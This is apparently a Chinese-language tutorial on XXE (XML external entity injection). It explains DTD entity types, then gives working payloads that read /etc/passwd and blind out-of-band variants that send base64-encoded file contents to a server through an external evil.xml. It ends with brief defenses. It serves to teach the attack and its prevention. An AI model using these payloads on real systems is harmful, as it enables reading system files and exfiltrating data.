目录
目录
漏洞原理
XXE(XML外部实体注入,XML External Entity),在应用程序解析XML输入时,当允许引用外部实体时,可以构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS攻击、执行系统命令等。
什么是 XML?
- XML 指可扩展标记语言(EXtensible Markup Language)
- XML 是一种标记语言,很类似 HTML
- XML 的设计宗旨是传输数据,而非显示数据
- XML 标签没有被预定义。您需要自行定义标签。
- XML 被设计为具有自我描述性。
- XML 是 W3C 的推荐标准
XML文档结构包括XML声明+DTD文档类型定义+文档元素,例如:
其中<note>是根元素,所有XML文档必须包含一个根元素,根元素是所有其他元素的父元素。
基本的XML语法就不过多的描述。主要看一下DTD-实体。
什么是DTD-实体?
基本的PAYLOAD结构
DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。
依照我的理解,外部引用就是将规范写在一个单独的dtd文档之中,就是为了多个xml可以调用同一个规范,方便省事,统一管理,和文件包含一个道理
- 实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
- 实体引用是对实体的引用。
- 实体可在内部或外部进行声明。
內部实体/外部实体
一个内部实体声明
语法:
<!ENTITY 实体名称 "实体的值">
例子:
DTD 例子:
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
XML 例子:
<author>&writer;©right;</author>
注释: 一个实体引用必须包含三个部分: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。
一个外部实体声明
语法:
<!ENTITY 实体名称 SYSTEM "URI/URL">
例子:
DTD 例子:
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
XML 例子:
<author>&writer;©right;</author>
外部实体可支持http、file等协议。不同程序支持的协议不同,如下图:
一般我们就可以利用file协议读取文件,利用http协议探测内网等等。
通用实体/参数实体
通用实体
<!ENTITY 实体名称 "实体内容">
用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用,例如:
<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd" >]>
<x>&b;</x>
参数实体
<!ENTITY % 实体名称 "实体内容">
(1)使用 % 实体名
(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名;
引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用
<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY % d SYSTEM "http://xxx.com/xxe.dtd" >
%d;
]>
<x>&xxe;</x>
xxe.dtd的内容为
<!ENTITY xxe SYSTEM "file:///etx/passwd" >
第三行的%d就像在外面引用通用实体一样,将http://xxx.com/xxe.dtd这个文件引入到dtd文件中
补充
外部文档声明
<!DOCTYPE 根元素 SYSTEM "文件名">
内部的DOCTYPE声明
<!DOCTYPE 根元素 [元素声明]>
构造外部实体注入攻击
XXE漏洞利用也可看下面这个链接:
XXE(XML External Entity attack)XML外部实体注入攻击 - FreeBuf网络安全行业门户
一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据。
有回显的payload写法:
1、直接通过DTD外部实体声明。XML内容如下:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<abc>&test;</abc>
2、通过DTD文档引入外部DTD文档,再引入外部实体声明。XML内容如下:
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://localhost/evil.dtd">
<abc>&b;</abc>
evil.dtd内容:
<!ENTITY b SYSTEM "file:///etc/passwd">
我的理解:先通过外部文档声明把evil.dtd引进来了,这时候看这个evil.dtd,它在里面声明了一个实体b,作用是读取那个/etc/passwd,但是这个时候还没有执行,只有当&b;之后,才是引用了b这个实体,就可以利用file协议读取passwd(之前的每一步就像先把需要用到的参数先引入进来,就跟python的import差不多)
3、通过DTD内部实体声明引入外部实体声明。XML内容如下:
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://localhost/evil.dtd">
%d;
]>
<abc>&b;</abc>
evil.dtd内容:
<!ENTITY b SYSTEM "file:///etc/passwd">
无回显的payload写法:
1、第一种无回显示payload写法:
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % file SYSTEM "file:///c://test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost/evil.xml">
%dtd; %all;
]>
<abc>&send;</abc>
其中evil.xml文件内容为
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost%file;'>">
调用过程为:参数实体dtd调用外部实体evil.xml,然后又调用参数实体all,接着调用实体send。
2、第二种无回显payload写法:
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost/evil.xml">
%dtd;
%send;
]>
<abc></abc>
其中evil.xml文件内容为:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;
调用过程和第一种方法类似,但最里层的嵌套里%
要进行实体编码成%
。无报错需要访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。
这里注意参数实体引用%file;
必须放在外部文件里,因为根据这条 规则 。在内部DTD里,参数实体引用只能和元素同级而不能直接出现在元素声明内部,否则解析器会报错: PEReferences forbidden in internal subset
。这里的 internal subset
指的是中括号[]
内部的一系列元素声明,PEReferences
指的应该是参数实体引用 Parameter-Entity Reference
。
一般都使用第二种方法,因为当文件中含有中文字符或<
字符,会导致不能解析。
如何防御
- 配置XML处理器使用禁用DTD
- 禁止外部实体解析
- 通过黑名单过滤用户提交的XML数据